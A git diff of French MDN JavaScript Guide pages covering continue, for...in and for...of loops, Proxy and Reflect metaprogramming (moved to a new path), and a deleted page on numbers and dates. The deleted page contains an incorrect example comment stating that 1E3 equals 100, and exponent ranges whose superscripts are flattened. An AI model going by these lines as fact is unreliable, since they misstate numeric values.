  • Lorsque continue est utilisé sans label, l'itération courante de la boucle (celle la plus imbriquée) est terminée et la boucle passe à l'exécution de la prochaine itération. À la différence de l'instruction break, continue ne stoppe pas entièrement l'exécution de la boucle. Si elle est utilisée dans une boucle while, l'itération reprend au niveau de la condition d'arrêt. Dans une boucle for, l'itération reprend au niveau de l'expression d'incrément pour la boucle.
    • +
  • Lorsque continue est utilisé avec un label, il est appliqué à l'instruction de boucle correspondante.
    • +
+ +

L'instruction continue s'utilise donc de la façon suivante :

+ +
    +
  1. continue;
    2. +
  2. continue label;
    3. +
+ +

Exemple 1

+ +

Dans l'exemple qui suit, on utilise une boucle while avec une instruction continue qui est exécutée lorsque i vaut 3. Ici, n prendra donc les valeurs 1, 3, 7 et 12.

+ +
let i = 0;
+let n = 0;
+while (i < 5) {
+  i++;
+  if (i === 3) {
+    continue;
+  }
+  n += i;
+  console.log(n);
+}
+// 1, 3, 7, 12
+
+
+ +

Exemple 2

+ +

Dans l'exemple suivant, on a une instruction étiquetée vérifIetJ qui contient une autre instruction étiquetée vérifJ. Si l'instruction continue est utilisée, le programme reprend l'exécution au début de l'instruction vérifJ. Chaque fois que continue est utilisé, vérifJ réitère jusqu'à ce que sa condition renvoie false. Lorsque c'est le cas, le reste de l'instruction vérifIetJ est exécuté.

+ +

Si continue utilisait l'étiquette vérifIetJ, le programme continuerait au début de l'instruction vérifIetJ

+ +
let i = 0;
+let j = 8;
+
+vérifIetJ: while (i < 4) {
+  console.log("i : " + i);
+  i += 1;
+
+  vérifJ: while (j > 4) {
+    console.log("j : "+ j);
+    j -= 1;
+    if ((j % 2) === 0){
+      continue vérifJ;
+    }
+    console.log(j + " est impaire.");
+   }
+   console.log("i = " + i);
+   console.log("j = " + j);
+}
+ +

L'instruction for...in

+ +

L'instruction {{jsxref("statements/for...in","for...in")}} permet d'itérer sur l'ensemble des propriétés énumérables d'un objet. Pour chaque propriété, JavaScript exécutera l'instruction indiquée. Cette instruction s'utilise de la façon suivante :

+ +
for (variable in objet) {
+  instruction
+}
+
+ +

Exemple

+ +

La fonction suivante prend comme argument un objet et le nom de cet objet. Elle parcourt ensuite les propriétés de l'objet et renvoie une chaîne de caractères qui liste les propriétés avec leurs noms et leurs valeurs respectives :

+ +
function afficherProps(obj, nomObj) {
+  var result = "";
+  for (var i in obj) {
+    result += nomObj + "." + i + " = " + obj[i] + "\n";
+  }
+  result += "\n";
+  return result;
+}
+
+ +

Pour un objet voiture dont les propriétés sont fabricant et modèle, result serait :

+ +
voiture.fabricant = Ford
+voiture.modèle = Mustang
+
+ +

Les tableaux (arrays) et for...in

+ +

Bien qu'il soit tentant d'utiliser cette instruction pour parcourir les éléments d'un objet Array , cela peut avoir des comportements inattendus. En effet, for...in permet de parcourir les propriétés définies par l'utilisateur ainsi que les éléments de tableau. Ainsi, si l'on modifie un objet Array en lui ajoutant des propriétés et/ou des méthodes, la boucle for...in renverra le nom de ces nouvelles propriétés en plus des indices des éléments du tableau. C'est pourquoi, il est préférable d'utiliser une boucle for avec les indices du tableau pour parcourir ses éléments.

+ +

L'instruction for...of

+ +

L'instruction {{jsxref("statements/for...of","for...of")}} crée une boucle qui fonctionne avec les objets itérables (qui incluent {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, l'objet arguments, etc.). La boucle appelle un mécanisme d'itération propre à l'objet utilisé et elle parcourt l'objet et les valeurs de ses différentes propriétés.

+ +
for (variable of objet) {
+  instruction
+}
+ +

Dans l'exemple suivant, on illustre la différence entre une boucle for...of et une boucle for...in.  for...in parcourt les noms des propriétés d'un objet alors que for...of parcourt les valeurs des propriétés :

+ +
let arr = [3, 5, 7];
+arr.toto = "coucou";
+
+for (let i in arr) {
+  console.log(i); // affiche 0, 1, 2, "toto" dans la console
+}
+
+for (let i of arr) {
+  console.log(i); // affiche 3, 5, 7 dans la console
+}
+
+ +

{{PreviousNext("Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs", "Web/JavaScript/Guide/Fonctions")}}

diff --git a/files/fr/web/javascript/guide/meta_programming/index.html b/files/fr/web/javascript/guide/meta_programming/index.html new file mode 100644 index 0000000000..fcec88d12b --- /dev/null +++ b/files/fr/web/javascript/guide/meta_programming/index.html @@ -0,0 +1,278 @@ +--- +title: Métaprogrammation +slug: Web/JavaScript/Guide/Métaprogrammation +tags: + - Guide + - JavaScript + - Proxy + - Reflect +translation_of: Web/JavaScript/Guide/Meta_programming +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/iterateurs_et_generateurs","Web/JavaScript/Guide/Modules")}}
+ +

À partir d'ECMAScript 2015, JavaScript fournit les objets natifs {{jsxref("Proxy")}} et {{jsxref("Reflect")}}. Ces objets permettent d'intercepter et de définir des comportements spécifiques pour certaines opérations fondamentales du langage (par exemple la recherche d'une propriété, l'affectation, l'énumération, l'appel d'une fonction, etc.). Grâce à ces deux objets, il est possible d'interagir avec le langage lui-même (on parle alors de métaprogrammation).

+ +

Les proxies

+ +

Introduits avec ECMAScript 2015, les objets {{jsxref("Proxy")}} permettent d'intercepter certaines opérations JavaScript et de définir le comportement à avoir quand celles-ci se produisent. Par exemple, on peut intercepter l'accès à une propriété d'un objet :

+ +
var handler = {
+  get: function(cible, nom){
+    return nom in cible ? cible[nom] : 42;
+}};
+var p = new Proxy({}, handler);
+p.a = 1;
+console.log(p.a, p.b); // 1, 42
+
+ +

Ici, l'objet Proxy définit une cible (ici c'est un objet vide) et un gestionnaire (handler) qui implémente une trappe pour l'opération get. Ainsi, l'objet qui est « proxyfié » ne renverra pas undefined lorsqu'on tentera d'accéder à une propriété qui n'est pas définie, à la place le nombre 42 sera renvoyé.

+ +
+

D'autres exemples sont disponibles sur la page de l'objet {{jsxref("Proxy")}}.

+
+ +

Terminologie

+ +

Lorsqu'on utilise les proxies et leurs fonctionnalités, on utilisera les termes suivants :

+ +
+
{{jsxref("Objets_globaux/Proxy/handler","gestionnaire (handler)","","true")}}
+
L'objet qui contient les trappes.
+
trappes
+
Les méthodes qui fournissent l'accès aux propriétés. Ce concept est analogue aux trappes utilisées dans les systèmes d'exploitations.
+
cible
+
L'objet que le proxy virtualise. C'est généralement un objet utilisé en arrière-plan pour stocker les informations. Les invariants (c'est-à-dire les éléments sémantiques qui doivent rester inchangés) concernant le caractère non-extensible de l'objet ou l'aspect non-configurable des propriétés sont vérifiés par rapport à cet objet cible.
+
invariants
+
Les éléments sémantiques qui ne doivent pas être modifiés par les opérations définies dans les proxies. Si un invariant n'est pas respecté au sein d'un gestionnaire, cela provoquera une exception {{jsxref("TypeError")}}.
+
+ +

Les gestionnaires et les trappes

+ +

Le tableau suivant résume les différentes trappes disponibles pour les objets Proxy. Pour plus d'explications et de détails, voir les différents pages de la référence sur chacun de ces concepts.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Gestionnaires / TrappesOpérations interceptéesInvariants
{{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}{{jsxref("Object.getPrototypeOf()")}}
+ {{jsxref("Reflect.getPrototypeOf()")}}
+ {{jsxref("Object/proto", "__proto__")}}
+ {{jsxref("Object.prototype.isPrototypeOf()")}}
+ {{jsxref("Operators/instanceof", "instanceof")}}		getPrototypeOf doit renvoyer un objet ou null.
+
+ Si cible n'est pas extensible, Object.getPrototypeOf(proxy) doit renvoyer le même objet que Object.getPrototypeOf(cible).
{{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}{{jsxref("Object.setPrototypeOf()")}}
+ {{jsxref("Reflect.setPrototypeOf()")}}		 +

Si cible n'est pas extensible, le paramètre prototype doit être la même valeur que Object.getPrototypeOf(cible).

+
{{jsxref("Objets_globaux/Proxy/handler/isExtensible", "handler.isExtensible()")}} +

{{jsxref("Object.isExtensible()")}}

+ +

{{jsxref("Reflect.isExtensible()")}}

+ 		+

Object.isExtensible(proxy) doit renvoyer la même valeur que Object.isExtensible(target).

+
{{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "handler.preventExtensions()")}} +

{{jsxref("Object.preventExtensions()")}}

+ +

{{jsxref("Reflect.preventExtensions()")}}

+ 		+

Object.preventExtensions(proxy) ne renvoie true que si Object.isExtensible(proxy) vaut false.

+
{{jsxref("Objets_globaux/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}} +

{{jsxref("Object.getOwnPropertyDescriptor()")}}

+ +

{{jsxref("Reflect.getOwnPropertyDescriptor()")}}

+ 		+

getOwnPropertyDescriptor doit renvoyer un objet ou undefined.

+ +

Une propriété ne peut pas être vue comme non-existante si elle existe comme une propriété propre non-configurable de l'objet cible.

+ +

Une propriété ne peut pas être vue comme non-existante si elle existe comme une propriété propre de la cible et que l'objet cible n'est pas extensible.

+ +

Une propriété ne peut pas être vue comme existante si elle n'existe pas comme une propriété propre de l'objet cible et que l'objet cible n'est pas extensible.

+ +

Une propriété ne peut pas être vue comme non-configurable si elle n'existe pas comme une propriété propre de l'objet cible ou si elle existe comme une propriété configurable propre de l'objet cible.

+ +

Le résultat de Object.getOwnPropertyDescriptor(cible) peut être appliqué à la cible en utilisant Object.defineProperty sans que cela ne lève d'exception.

+
{{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty()")}} +

{{jsxref("Object.defineProperty()")}}

+ +

{{jsxref("Reflect.defineProperty()")}}

+ 		+

Une propriété ne peut pas être ajoutée si l'objet cible n'est pas extensible.

+ +

Une propriété ne peut pas être ajoutée ou être modifiée afin d'être non-configurable si elle n'existe pas comme une propriété propre de l'objet cible et qu'elle n'est pas non-configurable.

+ +

Une propriété peut ne pas être non-configurable si une propriété correspondante configurable existe sur l'objet cible.

+ +

Si une propriété possède une propriété correspondante sur l'objet cible, Object.defineProperty(cible, prop, descripteur) ne doit pas renvoyer d'exception.

+ +

En mode strict, si la valeur de retour de defineProperty est false, cela entraînera une exception {{jsxref("TypeError")}} exception.

+
{{jsxref("Objets_globaux/Proxy/handler/has", "handler.has()")}} +

Requête d'une propriété : toto in proxy

+ +

Requête d'une propriété héritée : toto in Object.create(proxy)

+ +

{{jsxref("Reflect.has()")}}

+ 		+

Une propriété ne peut pas être vue comme non-existante si elle existe comme propriété propre non-configurable de l'objet cible.

+ +

Une propriété ne peut pas être vue comme non-existante si elle existe comme propriété propre de l'objet cible et que l'objet cible n'est pas extensible.

+
{{jsxref("Objets_globaux/Proxy/handler/get", "handler.get()")}} +

Accès à une propriété : proxy[toto] et proxy.truc

+ +

Accès à une propriété héritée : Object.create(proxy)[toto]

+ +

{{jsxref("Reflect.get()")}}

+ 		+

La valeur rapportée pour la propriété doit être la même que la valeur de la propriété correspondante sur l'objet cible si celle-ci est une propriété de donnée non accessible en écriture et non-configurable..

+ +

La valeur rapportée pour une propriété doit être undefined si la propriété correspondante de l'objet cible est une propriété d'accesseur dont l'attribut [[Get]] vaut undefined.

+
{{jsxref("Objets_globaux/Proxy/handler/set", "handler.set()")}} +

Affection d'une propriété : proxy[toto] = truc et proxy.toto = truc
+
+ Affectation d'une propriété héritée : Object.create(proxy)[toto] = truc
+
+ {{jsxref("Reflect.set()")}}

+ 		+

Il est impossible de modifier la valeur d'une propriété pour que celle-ci soit différente de la valeur de la propriété correspondante de l'objet cible si la propriété de l'objet cible est une propriété de donnée qui n'est pas accessible en écriture et qui n'est pas configurable.

+ +

Il est impossible de modifier la valeur d'une propriété si la propriété correspondante de l'objet cible est une propriété d'accesseur non-configurable dont l'attribut [[Set]] vaut undefined.

+ +

En mode strict, si le gestionnaire pour set renvoie false, cela provoquera une exception {{jsxref("TypeError")}}.

+
{{jsxref("Objets_globaux/Proxy/handler/deleteProperty", "handler.deleteProperty()")}} +

Suppression d'une propriété : delete proxy[toto] et delete proxy.toto
+
+ {{jsxref("Reflect.deleteProperty()")}}

+ 		Une propriété ne peut pas être supprimée si elle existe comme une propriété propre non-configurable de l'objet cible.
{{jsxref("Objets_globaux/Proxy/handler/enumerate", "handler.enumerate()")}} +

Lister les propriétés avec for...in : for (var nom in proxy) {...}
+
+ {{jsxref("Reflect.enumerate()")}}

+ 		La méthode enumerate doit renvoyer un objet.
{{jsxref("Objets_globaux/Proxy/handler/ownKeys", "handler.ownKeys()")}} +

{{jsxref("Object.getOwnPropertyNames()")}}
+ {{jsxref("Object.getOwnPropertySymbols()")}}
+ {{jsxref("Object.keys()")}}
+ {{jsxref("Reflect.ownKeys()")}}

+ 		+

Le résultat de ownKeys est une liste.
+
+ Le type de chaque élément de la liste est soit une {{jsxref("String")}} soit un  {{jsxref("Symbol")}}.
+
+ La liste résultatnte doit contenir les clés de toutes les propriétés non-configurables de l'objet cible.
+
+ Si l'objet cible n'est pas extensible, la liste résultante doit contenir toutes les clés des propriétés propres de l'objet cibles et aucune autre valeur.

+
{{jsxref("Objets_globaux/Proxy/handler/apply", "handler.apply()")}} +

proxy(..args)
+
+ {{jsxref("Function.prototype.apply()")}} and {{jsxref("Function.prototype.call()")}}
+
+ {{jsxref("Reflect.apply()")}}

+ 		Il n'y a pas d'invariant pour la méthode handler.apply.
{{jsxref("Objets_globaux/Proxy/handler/construct", "handler.construct()")}} +

new proxy(...args)
+ {{jsxref("Reflect.construct()")}}

+ 		Le résultat doit être un Objet.
+ +

Proxies révocables

+ +

La méthode {{jsxref("Proxy.revocable()")}} est utilisée pour créer un objet Proxy qui puisse être révoqué. Cela signifie que que le proxy pourra être révoqué avec la fonction revoke et arrêtera le proxy. Après cet arrêt, toute opération sur le proxy entraînera une exception {{jsxref("TypeError")}}.

+ +
var revocable = Proxy.revocable({}, {
+  get: function(cible, nom) {
+    return "[[" + nom + "]]";
+  }
+});
+var proxy = revocable.proxy;
+console.log(proxy.toto); // "[[toto]]"
+
+revocable.revoke();
+
+console.log(proxy.toto); // déclenche une TypeError
+proxy.toto = 1;          // une TypeError encore
+delete proxy.toto;       // toujours une TypeError
+typeof proxy             // "object", typeof ne déclenche aucune trappe
+ +

Réflexion

+ +

{{jsxref("Reflect")}} est un objet natif qui fournit des méthodes pour les opérations JavaScript qui peuvent être interceptées. Ces méthodes sont les mêmes que celles gérées par les {{jsxref("Objets_globaux/Proxy/handler","gestionnaires de proxy","","true")}}. Reflect n'est pas un constructeur et ne peut pas être utilisé comme une fonction !

+ +

Reflect aide à transférer les opérations par défaut depuis le gestionnaire vers la cible.

+ +

Par exemple, avec {{jsxref("Reflect.has()")}}, on obtient le comportement de l'opérateur in sous forme d'une fonction :

+ +
Reflect.has(Object, "assign"); // true
+
+ +

{{PreviousNext("Web/JavaScript/Guide/iterateurs_et_generateurs","Web/JavaScript/Guide/Modules")}}

diff --git "a/files/fr/web/javascript/guide/m\303\251taprogrammation/index.html" "b/files/fr/web/javascript/guide/m\303\251taprogrammation/index.html" deleted file mode 100644 index fcec88d12b..0000000000 --- "a/files/fr/web/javascript/guide/m\303\251taprogrammation/index.html" +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: Métaprogrammation -slug: Web/JavaScript/Guide/Métaprogrammation -tags: - - Guide - - JavaScript - - Proxy - - Reflect -translation_of: Web/JavaScript/Guide/Meta_programming ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/iterateurs_et_generateurs","Web/JavaScript/Guide/Modules")}}
- -

À partir d'ECMAScript 2015, JavaScript fournit les objets natifs {{jsxref("Proxy")}} et {{jsxref("Reflect")}}. Ces objets permettent d'intercepter et de définir des comportements spécifiques pour certaines opérations fondamentales du langage (par exemple la recherche d'une propriété, l'affectation, l'énumération, l'appel d'une fonction, etc.). Grâce à ces deux objets, il est possible d'interagir avec le langage lui-même (on parle alors de métaprogrammation).

- -

Les proxies

- -

Introduits avec ECMAScript 2015, les objets {{jsxref("Proxy")}} permettent d'intercepter certaines opérations JavaScript et de définir le comportement à avoir quand celles-ci se produisent. Par exemple, on peut intercepter l'accès à une propriété d'un objet :

- -
var handler = {
-  get: function(cible, nom){
-    return nom in cible ? cible[nom] : 42;
-}};
-var p = new Proxy({}, handler);
-p.a = 1;
-console.log(p.a, p.b); // 1, 42
-
- -

Ici, l'objet Proxy définit une cible (ici c'est un objet vide) et un gestionnaire (handler) qui implémente une trappe pour l'opération get. Ainsi, l'objet qui est « proxyfié » ne renverra pas undefined lorsqu'on tentera d'accéder à une propriété qui n'est pas définie, à la place le nombre 42 sera renvoyé.

- -
-

D'autres exemples sont disponibles sur la page de l'objet {{jsxref("Proxy")}}.

-
- -

Terminologie

- -

Lorsqu'on utilise les proxies et leurs fonctionnalités, on utilisera les termes suivants :

- -
-
{{jsxref("Objets_globaux/Proxy/handler","gestionnaire (handler)","","true")}}
-
L'objet qui contient les trappes.
-
trappes
-
Les méthodes qui fournissent l'accès aux propriétés. Ce concept est analogue aux trappes utilisées dans les systèmes d'exploitations.
-
cible
-
L'objet que le proxy virtualise. C'est généralement un objet utilisé en arrière-plan pour stocker les informations. Les invariants (c'est-à-dire les éléments sémantiques qui doivent rester inchangés) concernant le caractère non-extensible de l'objet ou l'aspect non-configurable des propriétés sont vérifiés par rapport à cet objet cible.
-
invariants
-
Les éléments sémantiques qui ne doivent pas être modifiés par les opérations définies dans les proxies. Si un invariant n'est pas respecté au sein d'un gestionnaire, cela provoquera une exception {{jsxref("TypeError")}}.
-
- -

Les gestionnaires et les trappes

- -

Le tableau suivant résume les différentes trappes disponibles pour les objets Proxy. Pour plus d'explications et de détails, voir les différents pages de la référence sur chacun de ces concepts.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gestionnaires / TrappesOpérations interceptéesInvariants
{{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}{{jsxref("Object.getPrototypeOf()")}}
- {{jsxref("Reflect.getPrototypeOf()")}}
- {{jsxref("Object/proto", "__proto__")}}
- {{jsxref("Object.prototype.isPrototypeOf()")}}
- {{jsxref("Operators/instanceof", "instanceof")}}		getPrototypeOf doit renvoyer un objet ou null.
-
- Si cible n'est pas extensible, Object.getPrototypeOf(proxy) doit renvoyer le même objet que Object.getPrototypeOf(cible).
{{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}{{jsxref("Object.setPrototypeOf()")}}
- {{jsxref("Reflect.setPrototypeOf()")}}		 -

Si cible n'est pas extensible, le paramètre prototype doit être la même valeur que Object.getPrototypeOf(cible).

-
{{jsxref("Objets_globaux/Proxy/handler/isExtensible", "handler.isExtensible()")}} -

{{jsxref("Object.isExtensible()")}}

- -

{{jsxref("Reflect.isExtensible()")}}

- 		-

Object.isExtensible(proxy) doit renvoyer la même valeur que Object.isExtensible(target).

-
{{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "handler.preventExtensions()")}} -

{{jsxref("Object.preventExtensions()")}}

- -

{{jsxref("Reflect.preventExtensions()")}}

- 		-

Object.preventExtensions(proxy) ne renvoie true que si Object.isExtensible(proxy) vaut false.

-
{{jsxref("Objets_globaux/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}} -

{{jsxref("Object.getOwnPropertyDescriptor()")}}

- -

{{jsxref("Reflect.getOwnPropertyDescriptor()")}}

- 		-

getOwnPropertyDescriptor doit renvoyer un objet ou undefined.

- -

Une propriété ne peut pas être vue comme non-existante si elle existe comme une propriété propre non-configurable de l'objet cible.

- -

Une propriété ne peut pas être vue comme non-existante si elle existe comme une propriété propre de la cible et que l'objet cible n'est pas extensible.

- -

Une propriété ne peut pas être vue comme existante si elle n'existe pas comme une propriété propre de l'objet cible et que l'objet cible n'est pas extensible.

- -

Une propriété ne peut pas être vue comme non-configurable si elle n'existe pas comme une propriété propre de l'objet cible ou si elle existe comme une propriété configurable propre de l'objet cible.

- -

Le résultat de Object.getOwnPropertyDescriptor(cible) peut être appliqué à la cible en utilisant Object.defineProperty sans que cela ne lève d'exception.

-
{{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty()")}} -

{{jsxref("Object.defineProperty()")}}

- -

{{jsxref("Reflect.defineProperty()")}}

- 		-

Une propriété ne peut pas être ajoutée si l'objet cible n'est pas extensible.

- -

Une propriété ne peut pas être ajoutée ou être modifiée afin d'être non-configurable si elle n'existe pas comme une propriété propre de l'objet cible et qu'elle n'est pas non-configurable.

- -

Une propriété peut ne pas être non-configurable si une propriété correspondante configurable existe sur l'objet cible.

- -

Si une propriété possède une propriété correspondante sur l'objet cible, Object.defineProperty(cible, prop, descripteur) ne doit pas renvoyer d'exception.

- -

En mode strict, si la valeur de retour de defineProperty est false, cela entraînera une exception {{jsxref("TypeError")}} exception.

-
{{jsxref("Objets_globaux/Proxy/handler/has", "handler.has()")}} -

Requête d'une propriété : toto in proxy

- -

Requête d'une propriété héritée : toto in Object.create(proxy)

- -

{{jsxref("Reflect.has()")}}

- 		-

Une propriété ne peut pas être vue comme non-existante si elle existe comme propriété propre non-configurable de l'objet cible.

- -

Une propriété ne peut pas être vue comme non-existante si elle existe comme propriété propre de l'objet cible et que l'objet cible n'est pas extensible.

-
{{jsxref("Objets_globaux/Proxy/handler/get", "handler.get()")}} -

Accès à une propriété : proxy[toto] et proxy.truc

- -

Accès à une propriété héritée : Object.create(proxy)[toto]

- -

{{jsxref("Reflect.get()")}}

- 		-

La valeur rapportée pour la propriété doit être la même que la valeur de la propriété correspondante sur l'objet cible si celle-ci est une propriété de donnée non accessible en écriture et non-configurable..

- -

La valeur rapportée pour une propriété doit être undefined si la propriété correspondante de l'objet cible est une propriété d'accesseur dont l'attribut [[Get]] vaut undefined.

-
{{jsxref("Objets_globaux/Proxy/handler/set", "handler.set()")}} -

Affection d'une propriété : proxy[toto] = truc et proxy.toto = truc
-
- Affectation d'une propriété héritée : Object.create(proxy)[toto] = truc
-
- {{jsxref("Reflect.set()")}}

- 		-

Il est impossible de modifier la valeur d'une propriété pour que celle-ci soit différente de la valeur de la propriété correspondante de l'objet cible si la propriété de l'objet cible est une propriété de donnée qui n'est pas accessible en écriture et qui n'est pas configurable.

- -

Il est impossible de modifier la valeur d'une propriété si la propriété correspondante de l'objet cible est une propriété d'accesseur non-configurable dont l'attribut [[Set]] vaut undefined.

- -

En mode strict, si le gestionnaire pour set renvoie false, cela provoquera une exception {{jsxref("TypeError")}}.

-
{{jsxref("Objets_globaux/Proxy/handler/deleteProperty", "handler.deleteProperty()")}} -

Suppression d'une propriété : delete proxy[toto] et delete proxy.toto
-
- {{jsxref("Reflect.deleteProperty()")}}

- 		Une propriété ne peut pas être supprimée si elle existe comme une propriété propre non-configurable de l'objet cible.
{{jsxref("Objets_globaux/Proxy/handler/enumerate", "handler.enumerate()")}} -

Lister les propriétés avec for...in : for (var nom in proxy) {...}
-
- {{jsxref("Reflect.enumerate()")}}

- 		La méthode enumerate doit renvoyer un objet.
{{jsxref("Objets_globaux/Proxy/handler/ownKeys", "handler.ownKeys()")}} -

{{jsxref("Object.getOwnPropertyNames()")}}
- {{jsxref("Object.getOwnPropertySymbols()")}}
- {{jsxref("Object.keys()")}}
- {{jsxref("Reflect.ownKeys()")}}

- 		-

Le résultat de ownKeys est une liste.
-
- Le type de chaque élément de la liste est soit une {{jsxref("String")}} soit un  {{jsxref("Symbol")}}.
-
- La liste résultatnte doit contenir les clés de toutes les propriétés non-configurables de l'objet cible.
-
- Si l'objet cible n'est pas extensible, la liste résultante doit contenir toutes les clés des propriétés propres de l'objet cibles et aucune autre valeur.

-
{{jsxref("Objets_globaux/Proxy/handler/apply", "handler.apply()")}} -

proxy(..args)
-
- {{jsxref("Function.prototype.apply()")}} and {{jsxref("Function.prototype.call()")}}
-
- {{jsxref("Reflect.apply()")}}

- 		Il n'y a pas d'invariant pour la méthode handler.apply.
{{jsxref("Objets_globaux/Proxy/handler/construct", "handler.construct()")}} -

new proxy(...args)
- {{jsxref("Reflect.construct()")}}

- 		Le résultat doit être un Objet.
- -

Proxies révocables

- -

La méthode {{jsxref("Proxy.revocable()")}} est utilisée pour créer un objet Proxy qui puisse être révoqué. Cela signifie que que le proxy pourra être révoqué avec la fonction revoke et arrêtera le proxy. Après cet arrêt, toute opération sur le proxy entraînera une exception {{jsxref("TypeError")}}.

- -
var revocable = Proxy.revocable({}, {
-  get: function(cible, nom) {
-    return "[[" + nom + "]]";
-  }
-});
-var proxy = revocable.proxy;
-console.log(proxy.toto); // "[[toto]]"
-
-revocable.revoke();
-
-console.log(proxy.toto); // déclenche une TypeError
-proxy.toto = 1;          // une TypeError encore
-delete proxy.toto;       // toujours une TypeError
-typeof proxy             // "object", typeof ne déclenche aucune trappe
- -

Réflexion

- -

{{jsxref("Reflect")}} est un objet natif qui fournit des méthodes pour les opérations JavaScript qui peuvent être interceptées. Ces méthodes sont les mêmes que celles gérées par les {{jsxref("Objets_globaux/Proxy/handler","gestionnaires de proxy","","true")}}. Reflect n'est pas un constructeur et ne peut pas être utilisé comme une fonction !

- -

Reflect aide à transférer les opérations par défaut depuis le gestionnaire vers la cible.

- -

Par exemple, avec {{jsxref("Reflect.has()")}}, on obtient le comportement de l'opérateur in sous forme d'une fonction :

- -
Reflect.has(Object, "assign"); // true
-
- -

{{PreviousNext("Web/JavaScript/Guide/iterateurs_et_generateurs","Web/JavaScript/Guide/Modules")}}

diff --git a/files/fr/web/javascript/guide/nombres_et_dates/index.html b/files/fr/web/javascript/guide/nombres_et_dates/index.html deleted file mode 100644 index a7debdc697..0000000000 --- a/files/fr/web/javascript/guide/nombres_et_dates/index.html +++ /dev/null @@ -1,387 +0,0 @@ ---- -title: Nombres et dates -slug: Web/JavaScript/Guide/Nombres_et_dates -tags: - - Guide - - JavaScript -translation_of: Web/JavaScript/Guide/Numbers_and_dates ---- -
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs", "Web/JavaScript/Guide/Formatage_du_texte")}}
- -

Ce chapitre illustre le fonctionnement des nombres et des dates en JavaScript grâce aux concepts, objets et fonctions utilisables avec ce langage. Cela inclut notamment l'écriture de nombre selon différentes bases (décimale, binaire, hexadécimale) et l'utilisation de l'objet global {{jsxref("Math")}}.

- -

Nombres

- -

Les nombres en JavaScript sont implémentés comme des nombres sur 64 bits à précision double selon le format IEEE-754 qui est un standard pour la représentation des nombres flottants et qui permet d'avoir jusqu'à 16 chiffres significatifs. Le type numérique possède également trois valeurs spéciales symboliques : +{{jsxref("Infinity")}}, -{{jsxref("Infinity")}} et {{jsxref("NaN")}} (pour désigner une valeur qui n'est pas un nombre).

- -

Le format IEEE-754 permet de représenter des valeurs entre ±2−1022 et ±2+1023, ce qui correspond à des valeurs entre ±10−308 et ±10+308 avec une précision sur 53 bits. Les nombres entiers compris sur l'intervalle ±253 − 1 peuvent être représentés exactement.

- -

Le type {{jsxref("BigInt")}} est une addition récente à JavaScript qui permet de représenter de grands entiers. Toutefois, il n'est pas possible de mélanger les BigInt et les nombres ({{jsxref("Number")}}) dans les mêmes opérations et on ne peut pas utiliser l'objet {{jsxref("Math")}} avec les valeurs BigInt.

- -

Voir également les types de données et structures JavaScript pour l'articulation des types primitifs en JavaScript.

- -

Il est possible d'utiliser quatre types de littéraux numériques : décimal, binaire, octal et hexadécimal.

- -

Les nombres décimaux

- -
1234567980;
-42;
-
-// Attention à l'utilisation des zéros
-// en début de nombre
-
-0888; // 888 analysé en base décimale
-0777; // en mode non-strict, analysé en base octale,
-      // ce qui correspond
-      // à 511 en base décimale
-
- -

On voit ici que les littéraux numériques qui commencent par un zéro (0) et contiennent un chiffre strictement inférieur à 8 après ce 0 sont analysés comme étant exprimés en base octale.

- -

Les nombres binaires

- -

Pour utiliser des nombres binaires, on utilise un littéral qui commence par un 0 suivi d'un b minuscule ou majuscule (0b ou 0B). Si les chiffres qui suivent ce préfixe ne sont pas des 0 ou des 1, une exception {{jsxref("SyntaxError")}} sera levée.

- -
var FLT_BITSIGNE = 0b10000000000000000000000000000000; // 2147483648
-var FLT_EXPOSANT = 0b01111111100000000000000000000000; // 2139095040
-var FLT_MANTISSE = 0B00000000011111111111111111111111; // 8388607
-
- -

Les nombres octaux

- -

Pour utiliser des nombres en base octale, on utilisera un préfixe avec un 0. Si les nombres qui suivent ce 0 ne sont pas compris entre 0 et 7 (au sens strict), le nombre sera interprété comme un nombre décimal.

- -
var n = 0755; // 493 en base 10
-var m = 0644; // 420 en base 10
-
- -

En mode strict, ECMAScript 5 interdit cette syntaxe octale. Cette syntaxe ne fait pas partie d'ECMAScript 5 mais est supportée par la majorité des navigateurs. Avec ECMAScript 2015 (ES6), il est possible de représenter un nombre en notation octale grâce au préfixe "0o" :

- -
var a = 0o10; // Notation octale pour ES2015
- -

Les nombres hexadécimaux

- -

Pour utiliser des nombres exprimés en base hexadécimale, on utilisera un préfixe avec un zéro suivi d'un x majuscule ou minuscule (0x ou 0X). Si les chiffres qui suivent ce préfixe ne sont pas 0123456789ABCDEF, cela provoquera une exception {{jsxref("SyntaxError")}}.

- -
0xFFFFFFFFFFFFFFFFF // 295147905179352830000
-0x123456789ABCDEF   // 81985529216486900
-0XA                 // 10
-
- -

Notation scientifique

- -
1E3   // 100
-2e6   // 2000000
-0.1e2 // 10
-
- -

L'objet Number

- -

L'objet {{jsxref("Number")}} possède certaines propriétés représentant les constantes numériques telles que : la valeur maximale représentable en JavaScript, une valeur spéciale pour dire que la valeur numérique n'est pas un nombre et l'infini. Ces valeurs ne peuvent pas être modifiées, on pourra les utiliser de la façon suivante :

- -
var plusGrandNombre = Number.MAX_VALUE;
